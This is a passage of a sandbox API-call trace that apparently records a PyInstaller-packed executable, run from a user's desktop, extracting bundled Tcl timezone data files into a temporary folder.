nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.123] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.123] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.123] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.124] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.124] CloseHandle (hObject=0x10c) returned 1 [0039.124] GetLastError () returned 0x0 [0039.124] SetLastError (dwErrCode=0x0) [0039.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.124] GetFileType (hFile=0x10c) returned 0x1 [0039.124] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.124] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.124] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.124] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.124] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.124] CloseHandle (hObject=0x10c) returned 1 [0039.125] GetLastError () returned 0x0 [0039.125] SetLastError (dwErrCode=0x0) [0039.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.125] GetFileType (hFile=0x10c) returned 0x1 [0039.125] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.125] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.125] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.125] CloseHandle (hObject=0x10c) returned 1 [0039.125] GetLastError () returned 0x0 [0039.125] SetLastError (dwErrCode=0x0) [0039.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Louisville") returned 75 [0039.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Louisville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\louisville"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.125] GetLastError () returned 0x2 [0039.125] SetLastError (dwErrCode=0x2) [0039.125] GetLastError () returned 0x2 [0039.125] SetLastError (dwErrCode=0x2) [0039.125] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Louisville", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Louisville", lpFilePart=0x0) returned 0x4a [0039.125] GetLastError () returned 0x2 [0039.125] SetLastError (dwErrCode=0x2) [0039.126] GetLastError () returned 0x2 [0039.126] SetLastError (dwErrCode=0x2) [0039.126] GetLastError () returned 0x2 [0039.126] SetLastError (dwErrCode=0x2) [0039.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Louisville") returned 75 [0039.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Louisville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\louisville"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.139] GetFileType (hFile=0x10c) returned 0x1 [0039.139] htonl (hostlong=0xdf000000) returned 0xdf [0039.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.139] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xdf, lpOverlapped=0x0) returned 1 [0039.140] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.140] CloseHandle (hObject=0x10c) returned 1 [0039.140] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.140] htonl (hostlong=0x30000000) returned 0x30 [0039.140] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.140] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.140] GetFileType (hFile=0x10c) returned 0x1 [0039.141] htonl (hostlong=0x8d865900) returned 0x59868d [0039.141] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e368d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.141] htonl (hostlong=0x8e000000) returned 0x8e [0039.141] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0039.141] htonl (hostlong=0x8e000000) returned 0x8e [0039.141] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.141] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.141] htonl (hostlong=0xbe000000) returned 0xbe [0039.141] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe) returned 0x55d428 [0039.141] htonl (hostlong=0x8e000000) returned 0x8e [0039.141] htonl (hostlong=0xbe000000) returned 0xbe [0039.141] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.141] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.141] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.141] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.141] CloseHandle (hObject=0x10c) returned 1 [0039.141] GetLastError () returned 0x0 [0039.141] SetLastError (dwErrCode=0x0) [0039.141] GetLastError () returned 0x0 [0039.141] SetLastError (dwErrCode=0x0) [0039.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.141] GetFileType (hFile=0x10c) returned 0x1 [0039.141] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.141] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.142] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.142] CloseHandle (hObject=0x10c) returned 1 [0039.142] GetLastError () returned 0x0 [0039.142] SetLastError (dwErrCode=0x0) [0039.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.142] GetFileType (hFile=0x10c) returned 0x1 [0039.142] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.142] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.142] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.142] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.143] CloseHandle (hObject=0x10c) returned 1 [0039.143] GetLastError () returned 0x0 [0039.143] SetLastError (dwErrCode=0x0) [0039.143] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.143] GetFileType (hFile=0x10c) returned 0x1 [0039.143] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.143] CloseHandle (hObject=0x10c) returned 1 [0039.143] GetLastError () returned 0x0 [0039.143] SetLastError (dwErrCode=0x0) [0039.143] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lower_Princes") returned 78 [0039.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lower_Princes" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\lower_princes"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.143] GetLastError () returned 0x2 [0039.143] SetLastError (dwErrCode=0x2) [0039.144] GetLastError () returned 0x2 [0039.144] SetLastError (dwErrCode=0x2) [0039.144] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lower_Princes", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lower_Princes", lpFilePart=0x0) returned 0x4d [0039.144] GetLastError () returned 0x2 [0039.144] SetLastError (dwErrCode=0x2) [0039.144] GetLastError () returned 0x2 [0039.144] SetLastError (dwErrCode=0x2) [0039.144] GetLastError () returned 0x2 [0039.144] SetLastError (dwErrCode=0x2) [0039.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lower_Princes") returned 78 [0039.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lower_Princes" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\lower_princes"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.144] GetFileType (hFile=0x10c) returned 0x1 [0039.144] htonl (hostlong=0xbe000000) returned 0xbe [0039.144] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.144] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbe, lpOverlapped=0x0) returned 1 [0039.145] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.145] CloseHandle (hObject=0x10c) returned 1 [0039.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d428 | out: hHeap=0x530000) returned 1 [0039.146] htonl (hostlong=0x40000000) returned 0x40 [0039.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.146] GetFileType (hFile=0x10c) returned 0x1 [0039.146] htonl (hostlong=0x1b875900) returned 0x59871b [0039.146] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e371b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.146] htonl (hostlong=0x89010000) returned 0x189 [0039.146] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x189) returned 0x550600 [0039.146] htonl (hostlong=0x89010000) returned 0x189 [0039.146] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.146] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.146] htonl (hostlong=0xe3050000) returned 0x5e3 [0039.146] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5e3) returned 0x55e278 [0039.146] htonl (hostlong=0x89010000) returned 0x189 [0039.146] htonl (hostlong=0xe3050000) returned 0x5e3 [0039.146] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.147] CloseHandle (hObject=0x10c) returned 1 [0039.147] GetLastError () returned 0x0 [0039.147] SetLastError (dwErrCode=0x0) [0039.147] GetLastError () returned 0x0 [0039.147] SetLastError (dwErrCode=0x0) [0039.147] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.147] GetFileType (hFile=0x10c) returned 0x1 [0039.147] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.147] CloseHandle (hObject=0x10c) returned 1 [0039.147] GetLastError () returned 